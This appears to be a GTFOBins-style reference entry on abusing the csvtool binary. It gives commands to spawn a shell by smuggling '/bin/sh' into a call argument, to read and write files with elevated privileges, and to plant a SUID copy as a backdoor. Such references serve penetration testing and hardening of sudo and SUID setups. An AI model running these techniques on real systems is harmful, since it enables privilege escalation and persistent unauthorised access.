.. / csvtool
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Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

csvtool call '/bin/sh;false' /etc/passwd

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.
```
LFILE=file_to_write
TF=$(mktemp)
echo DATA > $TF
csvtool trim t $TF -o $LFILE
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.
```
LFILE=file_to_read
csvtool trim t $LFILE
```

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

sudo install -m =xs $(which csvtool) .

LFILE=file_to_read
./csvtool trim t $LFILE

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.